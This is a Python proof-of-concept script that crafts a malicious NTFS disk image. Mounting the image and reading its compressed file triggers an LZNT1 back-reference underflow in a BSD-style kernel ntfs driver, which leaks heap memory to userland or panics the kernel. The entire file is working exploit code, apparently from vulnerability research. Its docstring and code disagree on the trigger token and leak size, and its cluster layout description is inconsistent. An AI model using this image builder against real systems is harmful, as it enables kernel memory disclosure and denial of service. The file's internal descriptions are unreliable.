#!/usr/bin/env python3
"""
DF-0932 NTFS image crafter -- LZNT1 back-reference underflow in
ntfs_uncompblock (sys/vfs/ntfs/ntfs_compr.c:74-82).

Builds a minimal mountable NTFS image containing a compressed file whose
on-disk compression unit starts with the 5-byte LZNT1 block

    0x02 0x80 0x01 0x00 0xF0

    header 0x8002 (compressed, len=2 -> payload+header = 5 B)
    tag    0x01   (bit0=1: first sub-token is a back-reference)
    token  0xF000 (LE) -> at pos=0, dshift=12, lmask=0xFFF:
        boff = -1 - (0xF000 >> 12) = -16
        blen = 3   + (0xF000 & 0xFFF) = 3
        -> buf[pos+boff] reads buf[-16..-14]  (16 B of memory PRECEDING uup)

The decompressed block then has buf[0..2] = those leaked bytes, which
ntfs_readattr ships to the reader via uiomove (ntfs_subr.c:1723). On a
default GENERIC kernel (INVARIANTS ON) the underflow usually panics when
the slab neighbour page is unmapped; on production kernels the 3 leaked
bytes are returned silently.

Image layout (standard NTFS, bps=512, spc=8 -> cluster = 4096 B):

    clu  0           boot sector
    clu  1           padding
    clu  2..10       $MFT body (9 clusters, holds records 0..35)
        record  0    $MFT       -- $DATA non-resident, runs = clu 2..10
        record  4    $AttrDef   -- minimal $STANDARD_INFORMATION entry
        record  5    root dir   -- $INDEX_ROOT:$I30 with one entry "F" -> record 32
        record  6    $Bitmap    -- 16 bytes
        record 10    $UpCase    -- non-resident 32 clusters (clu 50..81)
        record 32    "F"        -- the compressed file (compressed $DATA)
    clu 11..12       unused
    clu 13..44       (room for $UpCase) -- see below
    clu 50..81       $UpCase table (32 clusters, 131072 B = 65536 wchars)
    clu 43           $Bitmap data (small, resident instead)
    clu 44           LZNT1 trigger block (1 cluster, padded to 4096 with 0x00)
                     then 15 sparse clusters complete the 16-cluster unit.

The compressed file's $DATA attribute uses NTFS run encoding to lay out:
    run 0: 1 cluster at clu 44 (allocated, holds the 5-byte trigger)
    run 1: 15 sparse clusters (offset field bytes == 0)
    terminator

When ntfs_readattr_plain reads 64 KB for the compression unit, init = 4096
(only the allocated cluster contributes), which forces the compressed
branch in ntfs_readattr (sys/vfs/ntfs/ntfs_subr.c:1718) and calls
ntfs_uncompunit -> ntfs_uncompblock on our trigger.

Sibling of DF-0871/DF-0873 craft_img.py.
"""

import struct
import sys

# ---- geometry ----
BPS         = 512
SPC         = 8
CLU         = BPS * SPC            # 4096
MFTRECSZ    = 0xF6                 # -10 => 2**10 = 1024
RECSZ       = 1024
NCLUSTERS   = 128                  # 512 KB volume
MFTCN       = 2
MFT_CLUS    = 9                    # records 0..35 (36 KB)
UPCASE_CN   = 50
UPCASE_NCLU = 32                   # 131072 B
TRIG_CN     = 44                   # 1 cluster with the LZNT1 trigger block

FILE_MAGIC  = 0x454C4946           # "FILE"
FIXUP_OFF   = 0x30
FIXUP_VAL   = 0xA001

A_STD, A_NAME, A_DATA, A_INDXROOT = 0x10, 0x30, 0x80, 0x90


def le16(v): return struct.pack("<H", v & 0xFFFF)
def le32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)


def boot_sector():
    b = bytearray(BPS)
    b[0:3]   = b"\xEB\x52\x90"
    b[3:11]  = b"NTFS    "
    struct.pack_into("<H", b, 11, BPS)
    b[13]    = SPC
    b[21]    = 0xF8
    struct.pack_into("<H", b, 24, 32)
    struct.pack_into("<H", b, 26, 2)
    struct.pack_into("<Q", b, 40, NCLUSTERS * SPC)
    struct.pack_into("<Q", b, 48, MFTCN)
    struct.pack_into("<Q", b, 56, 64)
    b[64]    = MFTRECSZ
    struct.pack_into("<I", b, 65, 4096)
    struct.pack_into("<I", b, 69, 0xDEADBEEF)
    return bytes(b)


def resident_attr(atype, datalen, data, name="", reclen_pad=8):
    wname = name.encode("utf-16-le") if name else b""
    namelen = len(name)
    nameoff = 0x18
    dataoff = nameoff + len(wname)
    reclen  = dataoff + datalen
    reclen  = (reclen + reclen_pad - 1) & ~(reclen_pad - 1)
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, atype)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0
    buf[9]  = namelen
    buf[10] = nameoff & 0xFF
    buf[11] = 0
    buf[12] = 0          # a_compression
    buf[13] = 0
    struct.pack_into("<H", buf, 14, 0)
    struct.pack_into("<H", buf, 16, datalen)
    struct.pack_into("<H", buf, 18, 0)
    struct.pack_into("<H", buf, 20, dataoff)
    struct.pack_into("<H", buf, 22, 0)
    buf[nameoff:dataoff] = wname
    buf[dataoff:dataoff + len(data)] = data[:datalen]
    return bytes(buf)


def nonresident_data_attr(runs_bytes, allocated, datalen, dataoff=0x40):
    """Plain non-resident attribute (NOT compressed)."""
    runs_bytes = runs_bytes + bytes([0x00])		# run-list terminator
    reclen = dataoff + len(runs_bytes)
    reclen = (reclen + 7) & ~7
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, A_DATA)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0x01            # a_flag = NTFS_AF_INRUN
    buf[9]  = 0               # a_namelen
    buf[10] = dataoff & 0xFF  # a_nameoff (always 0x40 here)
    buf[11] = 0
    buf[12] = 0               # a_compression = 0 (not compressed)
    buf[13] = 0
    struct.pack_into("<H", buf, 14, 0)
    ncu = datalen // CLU
    struct.pack_into("<Q", buf, 16, 0)               # a_vcnstart
    struct.pack_into("<Q", buf, 24, ncu - 1)         # a_vcnend
    struct.pack_into("<H", buf, 32, dataoff)         # a_dataoff
    struct.pack_into("<H", buf, 34, 0)               # a_compressalg
    struct.pack_into("<I", buf, 36, 0)
    struct.pack_into("<Q", buf, 40, allocated)
    struct.pack_into("<Q", buf, 48, datalen)
    struct.pack_into("<Q", buf, 56, datalen)         # initialized
    buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes
    return bytes(buf)


def compressed_data_attr(runs_bytes, allocated, datalen, dataoff=0x40):
    """Non-resident $DATA attribute flagged COMPRESSED.

    Sets a_hdr.a_compression = 1 (offset 12) and a_nr.a_compressalg = 1
    (offset 34) so that ntfs_readattr takes the compression branch
    (sys/vfs/ntfs/ntfs_subr.c:1677: va_compression && va_compressalg).
    """
    runs_bytes = runs_bytes + bytes([0x00])		# run-list terminator
    reclen = dataoff + len(runs_bytes)
    reclen = (reclen + 7) & ~7
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, A_DATA)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0x01            # a_flag = NTFS_AF_INRUN
    buf[9]  = 0
    buf[10] = dataoff & 0xFF
    buf[11] = 0
    buf[12] = 1               # a_compression = 1   *** COMPRESSION FLAG ***
    buf[13] = 0
    struct.pack_into("<H", buf, 14, 0)
    ncu = datalen // CLU
    struct.pack_into("<Q", buf, 16, 0)
    struct.pack_into("<Q", buf, 24, ncu - 1)
    struct.pack_into("<H", buf, 32, dataoff)
    struct.pack_into("<H", buf, 34, 1)               # a_compressalg = 1
    struct.pack_into("<I", buf, 36, 0)
    struct.pack_into("<Q", buf, 40, allocated)
    struct.pack_into("<Q", buf, 48, datalen)
    struct.pack_into("<Q", buf, 56, datalen)         # initialized
    buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes
    return bytes(buf)


def term_attr():
    b = bytearray(8)
    struct.pack_into("<I", b, 0, 0xFFFFFFFF)
    return bytes(b)


def mft_record(seqnum, nlink, flags, attrs_bytes):
    rec = bytearray(RECSZ)
    struct.pack_into("<I", rec, 0, FILE_MAGIC)
    struct.pack_into("<H", rec, 4, FIXUP_OFF)
    struct.pack_into("<H", rec, 6, RECSZ // BPS + 1)
    struct.pack_into("<H", rec, 16, seqnum)
    struct.pack_into("<H", rec, 18, nlink)
    attroff = 0x38
    struct.pack_into("<H", rec, 20, attroff)
    struct.pack_into("<H", rec, 22, flags)
    used = attroff + len(attrs_bytes)
    struct.pack_into("<I", rec, 24, used)
    struct.pack_into("<I", rec, 28, RECSZ)
    struct.pack_into("<Q", rec, 32, 0)
    struct.pack_into("<H", rec, 40, 0)
    struct.pack_into("<HHH", rec, FIXUP_OFF, FIXUP_VAL, FIXUP_VAL, FIXUP_VAL)
    rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes
    struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL)
    struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL)
    return bytes(rec)


def well_formed_index_root(entries):
    """Resident $INDEX_ROOT:$I30 with the supplied entries."""
    hdr = bytearray(32)
    struct.pack_into("<I", hdr, 0, 0x30)       # ir_unkn1
    struct.pack_into("<I", hdr, 4, 0x01)       # ir_unkn2
    ir_size = 0x1000
    entries_size = sum(len(e) for e in entries)
    struct.pack_into("<I", hdr, 8, ir_size)
    struct.pack_into("<I", hdr, 12, 1)
    struct.pack_into("<I", hdr, 16, 0x10)
    struct.pack_into("<I", hdr, 20, entries_size)
    struct.pack_into("<I", hdr, 24, entries_size)
    struct.pack_into("<H", hdr, 28, 0x0000)    # ir_flag = 0 (no indxalloc)
    struct.pack_into("<H", hdr, 30, 0x0000)
    data = bytes(hdr)
    for e in entries:
        data += e
    return data


def index_entry_file(ino, fname, last=False):
    """A normal $INDEX_ROOT entry referencing a regular file by MFT ino."""
    wname = fname.encode("utf-16-le")
    fnamelen = len(fname)
    # 0x52 header + fnamelen*2 wchars
    body = 0x52 + fnamelen * 2
    if last:
        e = bytearray(0x58)
        struct.pack_into("<I", e, 0x0C, 0x00000002)   # ie_flag = LAST
        struct.pack_into("<H", e, 0x08, len(e))
        return bytes(e)
    e = bytearray(body)
    struct.pack_into("<I", e, 0x00, ino)              # ie_number
    struct.pack_into("<H", e, 0x08, body)             # reclen
    struct.pack_into("<I", e, 0x0C, 0x00000000)       # ie_flag = 0
    struct.pack_into("<I", e, 0x10, 0x05)             # ie_fpnumber = root
    struct.pack_into("<Q", e, 0x40, 0x0000000000001000)  # ie_fsize = 4096
    struct.pack_into("<Q", e, 0x48, 0x0000000000000000)  # ie_fflag = 0 (regular)
    e[0x50] = fnamelen & 0xFF                          # ie_fnamelen
    e[0x51] = 0x01                                     # ie_fnametype = Win32
    for k, w in enumerate(wname.decode("utf-16-le").encode("utf-16-le").decode("utf-16-le")):
        struct.pack_into("<H", e, 0x52 + k * 2, ord(w))
    return bytes(e)


def attrdef_data():
    """Minimal $AttrDef: one $STANDARD_INFORMATION entry + zero terminator."""
    e0 = bytearray(160)
    name = "$STANDARD_INFORMATION"
    for i, ch in enumerate(name):
        struct.pack_into("<H", e0, i * 2, ord(ch))
    struct.pack_into("<I", e0, 128, A_STD)
    return bytes(e0) + bytes(160)


def upcase_table():
    return b"".join(struct.pack("<H", i) for i in range(65536))


def _enc_varint(n):
    """Little-endian variable-length encoding of a non-negative int."""
    out = bytearray()
    while True:
        b = n & 0xFF
        n >>= 8
        # include the byte while there are more significant non-zero nibbles
        if n == 0:
            out.append(b)
            break
        out.append(b)
    return bytes(out)


def _enc_svarint(n):
    """NTFS run-list signed offset encoding: sign-extended LE bytes; the
    top bit of the last byte indicates sign.  For small positive cluster
    numbers (offsets) this collapses to _enc_varint(n) when n < 0x80."""
    if n >= 0:
        out = bytearray()
        v = n
        # always emit at least one byte; expand while the top bit would
        # otherwise be set (which would mean "negative") or while v has
        # more significant bits.
        while True:
            b = v & 0xFF
            v >>= 8
            if v == 0 and (b & 0x80) == 0:
                out.append(b)
                break
            out.append(b)
        return bytes(out)
    raise NotImplementedError("negative offsets not used in this PoC")


def runs_encode_normal(cluster, length):
    """One normal run: (length, offset) where offset != 0.

    Format: header byte (low nibble = len-field width, high nibble = off-
    field width), then len bytes, then offset bytes.
    """
    len_b = _enc_varint(length)
    off_b = _enc_svarint(cluster)
    hdr = (len(len_b) & 0xF) | ((len(off_b) & 0xF) << 4)
    return bytes([hdr]) + len_b + off_b


def runs_encode_sparse(length):
    """One sparse run: header 0x01 (1-byte len, 0-byte offset = sparse).

    Sparse runs have offset bytes == 0 length, which the driver treats as
    a hole (ccn stays 0 in ntfs_readntvattr_plain).
    """
    len_b = _enc_varint(length)
    hdr = (len(len_b) & 0xF)  # high nibble = 0 -> sparse
    return bytes([hdr]) + len_b


def runs_terminate():
    return bytes([0x00])


def build(out_path):
    img = bytearray(NCLUSTERS * CLU)
    img[0:BPS] = boot_sector()

    # === $MFT body region: clusters 2..10 (9 clusters, 36 KB) ===
    # records 0..35 laid out at byte offsets 0, 1024, 2048, ... within it.
    MFT_CLUS_N = MFT_CLUS                    # clusters actually on disk
    mft_alloc = MFT_CLUS * CLU                # 36864 B
    # va_datalen must cover record 32 fully: byte 32768..33791.  datalen
    # is rounded UP to a whole number of clusters for vcnend math
    # (vcnend = datalen//CLU - 1 in nonresident_data_attr).  Make datalen
    # large enough that vcnend >= 8 (the vcn that holds record 32).
    mft_data  = (MFT_CLUS - 1) * CLU + RECSZ  # = 32768 + 1024 = 33792 -> 8 clu
    # but we want vcnend >= 8 (vcn 0..8 covers record 32 at vcn 8).  Use:
    mft_data  = MFT_CLUS * CLU                # = 9*4096 = 36864 -> vcnend = 8

    # ---- record 0: $MFT itself -- $DATA non-resident spanning clu 2..10 ----
    runs0 = runs_encode_normal(MFTCN, MFT_CLUS)
    rec0 = mft_record(1, 1, 0,
                      nonresident_data_attr(runs0, mft_alloc, mft_data) +
                      term_attr())
    off = MFTCN * CLU + 0 * RECSZ
    img[off:off + RECSZ] = rec0

    # ---- record 4: $AttrDef ----
    ad = attrdef_data()
    rec4 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(ad), ad) + term_attr())
    off = MFTCN * CLU + 4 * RECSZ
    img[off:off + RECSZ] = rec4

    # ---- record 5: root dir with one entry "F" -> record 32 ----
    e_file = index_entry_file(32, "F")
    e_last = index_entry_file(0, "", last=True)
    iroot = well_formed_index_root([e_file, e_last])
    idxroot_attr = resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30")
    NTFS_FRFLAG_DIR = 0x0002
    rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR, idxroot_attr + term_attr())
    off = MFTCN * CLU + 5 * RECSZ
    img[off:off + RECSZ] = rec5

    # ---- record 6: $Bitmap (resident) ----
    bmp = b"\xFF" * 16
    rec6 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(bmp), bmp) + term_attr())
    off = MFTCN * CLU + 6 * RECSZ
    img[off:off + RECSZ] = rec6

    # ---- record 10: $UpCase -- non-resident at clu 50..81 ----
    runs10 = runs_encode_normal(UPCASE_CN, UPCASE_NCLU)
    nr10 = nonresident_data_attr(runs10, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU)
    rec10 = mft_record(1, 1, 0, nr10 + term_attr())
    off = MFTCN * CLU + 10 * RECSZ
    img[off:off + RECSZ] = rec10
    uo = UPCASE_CN * CLU
    img[uo:uo + UPCASE_NCLU * CLU] = upcase_table()

    # ---- record 32: "F" -- the COMPRESSED FILE ----
    # 16-cluster compression unit: 1 allocated cluster (clu 44) + 15 sparse.
    # Allocated cluster holds the 5-byte LZNT1 trigger padded to 4096 B.
    #
    # Token 0xFFFF chosen to maximise the leak visibility:
    #   - boff = -1 - (0xFFFF>>12) = -16   (max displacement at pos=0)
    #   - blen = 3 + (0xFFFF & 0xFFF) = 4098
    #   - copy loop runs min(4098, NTFS_COMPBLOCK_SIZE-pos=4096) = 4096 iters,
    #     reading buf[-16..-1] (16 B of slab-neighbour heap) into buf[0..15],
    #     then propagating them through the LZ77 sliding window across all of
    #     buf[0..4095].  buf[10..4095] additionally keeps the STALE uup slab
    #     content (ntfs_uncompblock never zero-fills the tail of compressed
    #     blocks).  Both leaks ride the uiomove at ntfs_subr.c:1723 to user.
    trigger = bytes([0x02, 0x80, 0x01, 0xFF, 0xFF])
    clu44 = bytearray(CLU)
    clu44[0:len(trigger)] = trigger
    img[TRIG_CN * CLU:(TRIG_CN + 1) * CLU] = clu44

    # Run list: 1 cluster @ 44 (allocated) + 15 sparse.
    runs32 = (runs_encode_normal(TRIG_CN, 1) +
              runs_encode_sparse(15))
    # The compressed file's logical size = 1 compression unit = 64 KB
    # (16 clusters * 4096). allocated = 64 KB; datalen = 64 KB; init = 64 KB.
    file_datalen = 16 * CLU
    file_alloc   = 16 * CLU
    cd = compressed_data_attr(runs32, file_alloc, file_datalen)

    # add a minimal $FILE_NAME attribute (so the driver has name metadata)
    # and a $STANDARD_INFORMATION. For simplicity we omit $STD_INFO; the
    # ntfs driver does not require it for read().
    rec32 = mft_record(2, 1, 0, cd + term_attr())
    off = MFTCN * CLU + 32 * RECSZ
    img[off:off + RECSZ] = rec32

    with open(out_path, "wb") as f:
        f.write(img)

    print(f"[+] wrote {out_path} ({len(img)} bytes)")
    print(f"[+] geometry: bps={BPS} spc={SPC} clu={CLU} mftrec={RECSZ} mftcn={MFTCN}")
    print(f"[+] $MFT body: clu {MFTCN}..{MFTCN+MFT_CLUS-1} "
          f"({MFT_CLUS} clusters, {mft_alloc} B)")
    print(f"[+] record 32 'F' at offset {32*RECSZ} inside $MFT -> "
          f"clu {MFTCN + 32*RECSZ//CLU}")
    print(f"[+] trigger LZNT1 block at clu {TRIG_CN} (5 B + zero pad to {CLU})")
    print(f"[+] compression unit: 1 allocated + 15 sparse -> init=4096 "
          f"(forces ntfs_uncompunit path)")
    print(f"[+] trigger payload: {' '.join(f'{b:02X}' for b in trigger)}")
    print(f"[+]   -> ntfs_uncompblock pos=0, dshift=12, boff=-16, blen=4098")
    print(f"[+]   -> reads buf[-16..-1] (16 B heap) into buf[0..15],")
    print(f"[+]      then propagates via LZ77 sliding window + leaves stale")
    print(f"[+]      slab content in buf[10..4095] (tail not zeroed)")


if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "ntfs_evil.img"
    build(out)
